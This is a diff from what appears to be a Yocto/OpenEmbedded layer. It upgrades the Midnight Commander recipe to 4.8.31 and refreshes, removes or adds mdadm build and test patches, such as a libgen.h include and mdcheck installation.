75index ef407de..3ad4b53 100644
76--- a/src/vfs/extfs/helpers/patchfs.in
77+++ b/src/vfs/extfs/helpers/patchfs.in
78@@ -1,4 +1,4 @@
79-#! @PERL@ -w
80+#! @PERL@
81 #
82 # Written by Adam Byrtek <alpha@debian.org>, 2002
83 # Rewritten by David Sterba <dave@jikos.cz>, 2009
84@@ -9,6 +9,7 @@
85
86 use bytes;
87 use strict;
88+use warnings;
89 use POSIX;
90 use File::Temp 'tempfile';
91
92diff --git a/src/vfs/extfs/helpers/ulib.in b/src/vfs/extfs/helpers/ulib.in
93index 418611f..82c7ccf 100644
94--- a/src/vfs/extfs/helpers/ulib.in
95+++ b/src/vfs/extfs/helpers/ulib.in
96@@ -1,9 +1,11 @@
97-#! @PERL@ -w
98+#! @PERL@
99 #
100 # VFS to manage the gputils archives.
101 # Written by Molnár Károly (proton7@freemail.hu) 2012
102 #
103
104+use warnings;
105+
106 my %month = ('jan' => '01', 'feb' => '02', 'mar' => '03',
107 'apr' => '04', 'may' => '05', 'jun' => '06',
108 'jul' => '07', 'aug' => '08', 'sep' => '09',
109diff --git a/src/vfs/extfs/helpers/uzip.in b/src/vfs/extfs/helpers/uzip.in
110index b1c4f90..c8eb335 100644
111--- a/src/vfs/extfs/helpers/uzip.in
112+++ b/src/vfs/extfs/helpers/uzip.in
113@@ -1,4 +1,4 @@
114-#! @PERL@ -w
115+#! @PERL@
116 #
117 # zip file archive Virtual File System for Midnight Commander
118 # Version 1.4.0 (2001-08-07).
119@@ -9,6 +9,7 @@
120 use POSIX;
121 use File::Basename;
122 use strict;
123+use warnings;
124
125 #
126 # Configuration options
127--
1282.10.2
129
diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch
index 48bd73b110..92fa443865 100644
--- a/meta/recipes-extended/mc/files/nomandate.patch
+++ b/meta/recipes-extended/mc/files/nomandate.patch
@@ -1,21 +1,32 @@
1From 78c5fd90a052f95157b3914c708a08b2eeab0154 Mon Sep 17 00:00:00 2001
2From: Richard Purdie <richard.purdie@linuxfoundation.org>
3Date: Tue, 4 Feb 2020 18:12:15 +0000
4Subject: [PATCH] mc: Fix manpage date indeterminism
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
1The man page date can vary depending upon the host perl, e.g. in Russian 9The man page date can vary depending upon the host perl, e.g. in Russian
2some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'. 10some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'.
3Rather than depend upon perl-native to fix this, just remove the date from 11Rather than depend upon perl-native to fix this, just remove the date from
4the manpages. 12the manpages.
5 13
6RP 2020/2/4 14RP 2020/2/4
7 15
8Upstream-Status: Inappropriate [OE specficic reproducibility workaround] 16Upstream-Status: Inappropriate [OE specficic reproducibility workaround]
9Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> 17Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
18---
19 doc/man/date-of-man-include.am | 2 +-
20 1 file changed, 1 insertion(+), 1 deletion(-)
10 21
11Index: mc-4.8.23/doc/man/date-of-man-include.am 22diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am
12=================================================================== 23index 96f9f10..d734c5d 100644
13--- mc-4.8.23.orig/doc/man/date-of-man-include.am 24--- a/doc/man/date-of-man-include.am
14+++ mc-4.8.23/doc/man/date-of-man-include.am 25+++ b/doc/man/date-of-man-include.am
15@@ -1,5 +1,5 @@ 26@@ -1,5 +1,5 @@
16 SED_PARAMETERS = \ 27 SED_PARAMETERS = \
17- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \ 28- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \
18+ -e "s/%DATE_OF_MAN_PAGE%//g" \ 29+ -e "s/%DATE_OF_MAN_PAGE%//g" \
19 -e "s/%DISTR_VERSION%/@DISTR_VERSION@/g" \ 30 -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \
20 -e "s{%prefix%{@prefix@{g" \
21 -e "s{%sysconfdir%{@sysconfdir@{g" \ 31 -e "s{%sysconfdir%{@sysconfdir@{g" \
32 -e "s{%libexecdir%{@libexecdir@{g" \
diff --git a/meta/recipes-extended/mc/mc_4.8.26.bb b/meta/recipes-extended/mc/mc_4.8.26.bb
deleted file mode 100644
index 3eb19309b7..0000000000
--- a/meta/recipes-extended/mc/mc_4.8.26.bb
+++ /dev/null
@@ -1,54 +0,0 @@
1SUMMARY = "Midnight Commander is an ncurses based file manager"
2HOMEPAGE = "http://www.midnight-commander.org/"
3LICENSE = "GPLv3"
4LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
5SECTION = "console/utils"
6DEPENDS = "ncurses glib-2.0 util-linux"
7RDEPENDS_${PN} = "ncurses-terminfo-base"
8RRECOMMENDS_${PN} = "ncurses-terminfo"
9
10SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
11 file://0001-mc-replace-perl-w-with-use-warnings.patch \
12 file://nomandate.patch \
13 "
14SRC_URI[sha256sum] = "9d6358d0a351a455a1410aab57f33b6b48b0fcf31344b9a10b0ff497595979d1"
15
16inherit autotools gettext pkgconfig
17
18#
19# Both Samba (smb) and sftp require package delivered from meta-openembedded
20#
21PACKAGECONFIG ??= ""
22PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
23PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
24
25CFLAGS_append_libc-musl = ' -DNCURSES_WIDECHAR=1 '
26EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
27
28CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
29CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
30CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
31CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
32
33do_install_append () {
34 sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
35
36 rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
37}
38
39PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
40
41SUMMARY_${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
42FILES_${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
43 ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
44 ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
45 ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
46 ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
47 ${libexecdir}/mc/extfs.d/uzip"
48RDEPENDS_${BPN}-helpers-perl = "perl"
49
50SUMMARY_${BPN}-helpers = "Midnight Commander shell helper scripts"
51FILES_${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
52
53SUMMARY_${BPN}-fish = "Midnight Commander Fish scripts"
54FILES_${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mc/mc_4.8.31.bb b/meta/recipes-extended/mc/mc_4.8.31.bb
new file mode 100644
index 0000000000..69c32887a2
--- /dev/null
+++ b/meta/recipes-extended/mc/mc_4.8.31.bb
@@ -0,0 +1,57 @@
1SUMMARY = "Midnight Commander is an ncurses based file manager"
2HOMEPAGE = "http://www.midnight-commander.org/"
3DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included."
4LICENSE = "GPL-3.0-only"
5LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
6SECTION = "console/utils"
7DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native"
8RDEPENDS:${PN} = "ncurses-terminfo-base"
9RRECOMMENDS:${PN} = "ncurses-terminfo"
10
11SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
12 file://nomandate.patch \
13 "
14SRC_URI[sha256sum] = "f42f4114ed42f6cf9995f1d896fa6c797ccb36dac57760dda8dd9f78ac462841"
15
16inherit autotools gettext pkgconfig
17
18#
19# Both Samba (smb) and sftp require package delivered from meta-openembedded
20#
21PACKAGECONFIG ??= ""
22PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
23
24# enable NCURSES_WIDECHAR=1 only if ENABLE_WIDEC has not been explicitly disabled (e.g. by the distro config).
25# When compiling against the ncurses library, NCURSES_WIDECHAR needs to explicitly set to 0 in this case.
26CFLAGS:append:libc-musl = "${@' -DNCURSES_WIDECHAR=1' if bb.utils.to_boolean((d.getVar('ENABLE_WIDEC') or 'True')) else ' -DNCURSES_WIDECHAR=0'}"
27EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
28EXTRANATIVEPATH += "file-native"
29
30CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
31CACHED_CONFIGUREVARS += "ac_cv_path_PERL_FOR_BUILD='/usr/bin/env perl'"
32CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
33CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
34CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
35
36do_install:append () {
37 sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
38
39 rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
40}
41
42PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-shell"
43
44SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
45FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
46 ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
47 ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
48 ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
49 ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
50 ${libexecdir}/mc/extfs.d/uzip"
51RDEPENDS:${BPN}-helpers-perl = "perl"
52
53SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts"
54FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
55
56SUMMARY:${BPN}-shell = "Midnight Commander Shell scripts"
57FILES:${BPN}-shell = "${libexecdir}/mc/shell"
diff --git a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch b/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
deleted file mode 100644
index 803a59b3ec..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From b273e892bd6aaafe448f84356abb78a6d463e784 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Fri, 7 Dec 2018 17:22:39 -0800
4Subject: [PATCH] Compute abs diff in a standard compliant way
5
6This make it a bit less implementation defined and silences clang
7warning -Wabsolute-value
8
9| super-intel.c:2822:20: error: taking the absolute value of unsigned type 'unsi
10gned long long' has no effect [-Werror,-Wabsolute-value]
11
12Upstream-Status: Pending
13
14Signed-off-by: Khem Raj <raj.khem@gmail.com>
15---
16 super-intel.c | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/super-intel.c b/super-intel.c
20index 6438987..10d7218 100644
21--- a/super-intel.c
22+++ b/super-intel.c
23@@ -2819,7 +2819,7 @@ static unsigned long long calc_component_size(struct imsm_map *map,
24 * 2048 blocks per each device. If the difference is higher it means
25 * that array size was expanded and num_data_stripes was not updated.
26 */
27- if ((unsigned int)abs(calc_dev_size - dev_size) >
28+ if ((unsigned int)abs((int)calc_dev_size - (int)dev_size) >
29 (1 << SECT_PER_MB_SHIFT) * member_disks) {
30 component_size = dev_size / member_disks;
31 dprintf("Invalid num_data_stripes in metadata; expected=%llu, found=%llu\n",
diff --git a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
index 298f276cd6..fa1f0aa520 100644
--- a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
@@ -1,4 +1,4 @@
1From a9166bf422da1001bac9cc819386bf39b7cd1b73 Mon Sep 17 00:00:00 2001 1From 76856a34a4e339e4a53b09d028f89fcc520e3127 Mon Sep 17 00:00:00 2001
2From: "Maxin B. John" <maxin.john@intel.com> 2From: "Maxin B. John" <maxin.john@intel.com>
3Date: Tue, 9 Feb 2016 11:44:01 +0200 3Date: Tue, 9 Feb 2016 11:44:01 +0200
4Subject: [PATCH] Fix the path of corosync and dlm header files check 4Subject: [PATCH] Fix the path of corosync and dlm header files check
@@ -9,16 +9,15 @@ Fix it.
9Upstream-Status: Inappropriate [Yocto specific] 9Upstream-Status: Inappropriate [Yocto specific]
10 10
11Signed-off-by: Maxin B. John <maxin.john@intel.com> 11Signed-off-by: Maxin B. John <maxin.john@intel.com>
12
13--- 12---
14 Makefile | 4 ++-- 13 Makefile | 4 ++--
15 1 file changed, 2 insertions(+), 2 deletions(-) 14 1 file changed, 2 insertions(+), 2 deletions(-)
16 15
17diff --git a/Makefile b/Makefile 16diff --git a/Makefile b/Makefile
18index 2767ac6..46bf57b 100644 17index cbdba49..7bfd336 100644
19--- a/Makefile 18--- a/Makefile
20+++ b/Makefile 19+++ b/Makefile
21@@ -91,8 +91,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots 20@@ -109,8 +109,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
22 SYSTEMD_DIR=/lib/systemd/system 21 SYSTEMD_DIR=/lib/systemd/system
23 LIB_DIR=/usr/libexec/mdadm 22 LIB_DIR=/usr/libexec/mdadm
24 23
diff --git a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
new file mode 100644
index 0000000000..a4be1aa8a1
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
@@ -0,0 +1,27 @@
1From 0be066d57a7dd1aead5488d0a095863608f2e559 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Tue, 25 Jan 2022 16:25:01 +0800
4Subject: [PATCH] Makefile: install mdcheck
5
6The mdcheck_xxx.service files use mdcheck, but it's not installed.
7We need to install this script.
8
9Upstream-Status: Submitted [Sent patch to maintainer]
10
11Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
12---
13 Makefile | 1 +
14 1 file changed, 1 insertion(+)
15
16diff --git a/Makefile b/Makefile
17index 1141971..f4059e2 100644
18--- a/Makefile
19+++ b/Makefile
20@@ -325,6 +325,7 @@ install-systemd: systemd/mdmon@.service
21 install-bin: mdadm mdmon
22 $(INSTALL) -D $(STRIP) -m 755 mdadm $(DESTDIR)$(BINDIR)/mdadm
23 $(INSTALL) -D $(STRIP) -m 755 mdmon $(DESTDIR)$(BINDIR)/mdmon
24+ $(INSTALL) -D -m 755 misc/mdcheck $(DESTDIR)/usr/share/mdadm/mdcheck
25
26 uninstall:
27 rm -f $(DESTDIR)$(MAN8DIR)/mdadm.8 $(DESTDIR)$(MAN8DIR)/mdmon.8 $(DESTDIR)$(MAN4DIR)/md.4 $(DESTDIR)$(MAN5DIR)/mdadm.conf.5 $(DESTDIR)$(BINDIR)/mdadm
diff --git a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
deleted file mode 100644
index b196084a5c..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
+++ /dev/null
@@ -1,53 +0,0 @@
1From 02a41c3fd560fb5250186dd6b3cff6b21daa2e2b Mon Sep 17 00:00:00 2001
2From: Mingli Yu <Mingli.Yu@windriver.com>
3Date: Mon, 15 Jul 2019 14:12:24 +0800
4Subject: [PATCH] Revert "tests: wait for complete rebuild in integrity checks"
5
6This reverts commit e2a8e9dcf67a28bc722fa5ab2c49b0bc452d4d74
7as the logic "check state 'U*'" will make the test enters
8infinite loop especially in qemu env, so revert it to
9use the previous logic "check wait" which also used
10commonly by other tests such as tests/02r5grow, tests/07revert-grow
11and etc.
12
13Upstream-Status: Submitted[https://marc.info/?l=linux-raid&m=156317157314030&w=2]
14
15Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
16---
17 tests/01r5integ | 2 +-
18 tests/01raid6integ | 4 ++--
19 2 files changed, 3 insertions(+), 3 deletions(-)
20
21diff --git a/tests/01r5integ b/tests/01r5integ
22index 48676a2..ffb30ce 100644
23--- a/tests/01r5integ
24+++ b/tests/01r5integ
25@@ -27,7 +27,7 @@ do
26 exit 1
27 fi
28 mdadm $md0 -a $i
29- while ! (check state 'U*'); do check wait; sleep 0.2; done
30+ check wait
31 done
32 mdadm -S $md0
33 done
34diff --git a/tests/01raid6integ b/tests/01raid6integ
35index 12f4d81..c6fcdae 100644
36--- a/tests/01raid6integ
37+++ b/tests/01raid6integ
38@@ -47,10 +47,10 @@ do
39 exit 1
40 fi
41 mdadm $md0 -a $first
42- while ! (check state 'U*_U*'); do check wait; sleep 0.2; done
43+ check wait
44 done
45 mdadm $md0 -a $second
46- while ! (check state 'U*'); do check wait; sleep 0.2; done
47+ check wait
48 totest="$totest $second"
49 done
50 mdadm -S $md0
51--
522.7.4
53
diff --git a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
index 12bf6a5920..16fdefbbd1 100644
--- a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
@@ -1,4 +1,4 @@
1From 37c35f94d9d95dbd2b5f8a919f5478be51453590 Mon Sep 17 00:00:00 2001 1From c29d086714b49a6d76ccca83b4a6fa2f139bad6e Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com> 2From: Khem Raj <raj.khem@gmail.com>
3Date: Fri, 13 Oct 2017 10:27:34 -0700 3Date: Fri, 13 Oct 2017 10:27:34 -0700
4Subject: [PATCH] Use CC to check for implicit-fallthrough warning support 4Subject: [PATCH] Use CC to check for implicit-fallthrough warning support
@@ -10,19 +10,35 @@ cross compile used for compiling mdadm is < version 7
10Signed-off-by: Khem Raj <raj.khem@gmail.com> 10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11Upstream-Status: Pending 11Upstream-Status: Pending
12--- 12---
13 Makefile | 2 +- 13 Makefile | 6 +++---
14 1 file changed, 1 insertion(+), 1 deletion(-) 14 1 file changed, 3 insertions(+), 3 deletions(-)
15 15
16diff --git a/Makefile b/Makefile 16diff --git a/Makefile b/Makefile
17index 46bf57b..a075912 100644 17index 7bfd336..9ab6a65 100644
18--- a/Makefile 18--- a/Makefile
19+++ b/Makefile 19+++ b/Makefile
20@@ -53,7 +53,7 @@ ifdef WARN_UNUSED 20@@ -56,21 +56,21 @@ CWFLAGS += -Wp -O3
21 CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3
22 endif 21 endif
23 22
24-FALLTHROUGH := $(shell gcc -v --help 2>&1 | grep "implicit-fallthrough" | wc -l) 23 ifeq ($(origin FALLTHROUGH), undefined)
25+FALLTHROUGH := $(shell ${CC} -v --help 2>&1 | grep "implicit-fallthrough" | wc -l) 24- FALLTHROUGH := $(shell gcc -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
26 ifneq "$(FALLTHROUGH)" "0" 25+ FALLTHROUGH := $(shell ${CC} -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
27 CWFLAGS += -Wimplicit-fallthrough=0 26 ifneq "$(FALLTHROUGH)" "0"
27 CWFLAGS += -Wimplicit-fallthrough=0
28 endif
28 endif 29 endif
30
31 ifeq ($(origin FORMATOVERFLOW), undefined)
32- FORMATOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
33+ FORMATOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
34 ifneq "$(FORMATOVERFLOW)" "0"
35 CWFLAGS += -Wformat-overflow
36 endif
37 endif
38
39 ifeq ($(origin STRINGOPOVERFLOW), undefined)
40- STRINGOPOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
41+ STRINGOPOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
42 ifneq "$(STRINGOPOVERFLOW)" "0"
43 CWFLAGS += -Wstringop-overflow
44 endif
diff --git a/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
index fa9c8cc835..3cf295106f 100644
--- a/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
+++ b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
@@ -1,4 +1,4 @@
1From 3158d3788c2e0fb75ace2c89840bd8a977fb4cb0 Mon Sep 17 00:00:00 2001 1From 78e5bb08971a5644a56af60d51ef35e13522e811 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com> 2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Fri, 14 Dec 2018 15:12:31 +0800 3Date: Fri, 14 Dec 2018 15:12:31 +0800
4Subject: [PATCH] fix gcc-8 format-truncation warning 4Subject: [PATCH] fix gcc-8 format-truncation warning
@@ -22,7 +22,7 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
22 1 file changed, 1 insertion(+), 1 deletion(-) 22 1 file changed, 1 insertion(+), 1 deletion(-)
23 23
24diff --git a/super0.c b/super0.c 24diff --git a/super0.c b/super0.c
25index 756cab5..12c28da 100644 25index a7c5f81..a79b6bd 100644
26--- a/super0.c 26--- a/super0.c
27+++ b/super0.c 27+++ b/super0.c
28@@ -229,7 +229,7 @@ static void examine_super0(struct supertype *st, char *homehost) 28@@ -229,7 +229,7 @@ static void examine_super0(struct supertype *st, char *homehost)
@@ -34,6 +34,3 @@ index 756cab5..12c28da 100644
34 int wonly, failfast; 34 int wonly, failfast;
35 if (d>=0) dp = &sb->disks[d]; 35 if (d>=0) dp = &sb->disks[d];
36 else dp = &sb->this_disk; 36 else dp = &sb->this_disk;
37--
382.7.4
39
diff --git a/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
new file mode 100644
index 0000000000..70be43c15e
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
@@ -0,0 +1,56 @@
1From 7759ceda978aba38861d4846d0c1657465b72f04 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Sun, 24 Mar 2024 23:13:32 -0700
4Subject: [PATCH] include libgen.h for basename API
5
6Musl does no more provide it via string.h therefore builds with newer
7compilers e.g. clang-18 fails due to missing prototype for basename
8therefore add libgen.h to included headers list
9
10Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20240325061537.275811-1-raj.khem@gmail.com/T/#u]
11Signed-off-by: Khem Raj <raj.khem@gmail.com>
12---
13 Monitor.c | 1 +
14 platform-intel.c | 1 +
15 super-intel.c | 1 +
16 3 files changed, 3 insertions(+)
17
18diff --git a/Monitor.c b/Monitor.c
19index 824a69f..e3942e1 100644
20--- a/Monitor.c
21+++ b/Monitor.c
22@@ -26,6 +26,7 @@
23 #include "udev.h"
24 #include "md_p.h"
25 #include "md_u.h"
26+#include <libgen.h>
27 #include <sys/wait.h>
28 #include <limits.h>
29 #include <syslog.h>
30diff --git a/platform-intel.c b/platform-intel.c
31index ac282bc..5d6687d 100644
32--- a/platform-intel.c
33+++ b/platform-intel.c
34@@ -19,6 +19,7 @@
35 #include "mdadm.h"
36 #include "platform-intel.h"
37 #include "probe_roms.h"
38+#include <libgen.h>
39 #include <stdio.h>
40 #include <stdlib.h>
41 #include <string.h>
42diff --git a/super-intel.c b/super-intel.c
43index dbea235..881dbda 100644
44--- a/super-intel.c
45+++ b/super-intel.c
46@@ -23,6 +23,7 @@
47 #include "dlink.h"
48 #include "sha1.h"
49 #include "platform-intel.h"
50+#include <libgen.h>
51 #include <values.h>
52 #include <scsi/sg.h>
53 #include <ctype.h>
54--
552.44.0
56
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
index e00287cab1..f224d0008d 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
@@ -1,4 +1,4 @@
1From 5fdc0173cb4fcf8656f0889ad364d2549795607f Mon Sep 17 00:00:00 2001 1From c27e128fdc062ec3fcdf7b48a8c5078615c538df Mon Sep 17 00:00:00 2001
2From: Changqing Li <changqing.li@windriver.com> 2From: Changqing Li <changqing.li@windriver.com>
3Date: Mon, 1 Jul 2019 11:34:49 +0800 3Date: Mon, 1 Jul 2019 11:34:49 +0800
4Subject: [PATCH] mdadm: add option -y for use syslog to recive event report 4Subject: [PATCH] mdadm: add option -y for use syslog to recive event report
@@ -14,15 +14,12 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
14 1 file changed, 1 insertion(+), 1 deletion(-) 14 1 file changed, 1 insertion(+), 1 deletion(-)
15 15
16diff --git a/systemd/mdmonitor.service b/systemd/mdmonitor.service 16diff --git a/systemd/mdmonitor.service b/systemd/mdmonitor.service
17index 46f7b88..3fc4687 100644 17index 9c36478..d289846 100644
18--- a/systemd/mdmonitor.service 18--- a/systemd/mdmonitor.service
19+++ b/systemd/mdmonitor.service 19+++ b/systemd/mdmonitor.service
20@@ -13,4 +13,4 @@ DefaultDependencies=no 20@@ -14,4 +14,4 @@ Documentation=man:mdadm(8)
21 Environment= MDADM_MONITOR_ARGS=--scan 21 Environment= MDADM_MONITOR_ARGS=--scan
22 EnvironmentFile=-/run/sysconfig/mdadm 22 EnvironmentFile=-/run/sysconfig/mdadm
23 ExecStartPre=-/usr/lib/mdadm/mdadm_env.sh 23 ExecStartPre=-/usr/lib/mdadm/mdadm_env.sh
24-ExecStart=BINDIR/mdadm --monitor $MDADM_MONITOR_ARGS 24-ExecStart=BINDIR/mdadm --monitor $MDADM_MONITOR_ARGS
25+ExecStart=BINDIR/mdadm --monitor -y $MDADM_MONITOR_ARGS 25+ExecStart=BINDIR/mdadm --monitor -y $MDADM_MONITOR_ARGS
26--
272.7.4
28
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
deleted file mode 100644
index 3a192cc95c..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
+++ /dev/null
@@ -1,43 +0,0 @@
1From 1b83afa7c3121f819e72ea74883f8b6d61d6548e Mon Sep 17 00:00:00 2001
2From: Changqing Li <changqing.li@windriver.com>
3Date: Fri, 6 Sep 2019 10:59:02 +0800
4Subject: [PATCH] mdadm: skip test 11spare-migration
5
611spare-migration is a test series to check mdadm Monitor migrates spares
7according to rules in /etc/mdadm.conf defined by POLICY lines.
8
9[snip]
10for scan in no yes; do
11 for platform in 1.2 imsm; do
12 try
13 done
14done
15[snip]
16
17"try" includes near 20 sub testcase, so there are nearly 80 subcases need to run,
18so it will take long time than ptest-runner timeout limit, skip it as workaround.
19
20Upstream-Status: Inappropriate[oe-specific]
21
22Signed-off-by: Changqing Li <changqing.li@windriver.com>
23---
24 test | 3 +++
25 1 file changed, 3 insertions(+)
26
27diff --git a/test b/test
28index 711a3c7..880dd1d 100755
29--- a/test
30+++ b/test
31@@ -272,6 +272,9 @@ main() {
32 else
33 for script in $testdir/$prefix $testdir/$prefix*[^~]
34 do
35+ if [ $script == "$testdir/11spare-migration" ];then
36+ continue
37+ fi
38 do_test $script
39 done
40 fi
41--
422.7.4
43
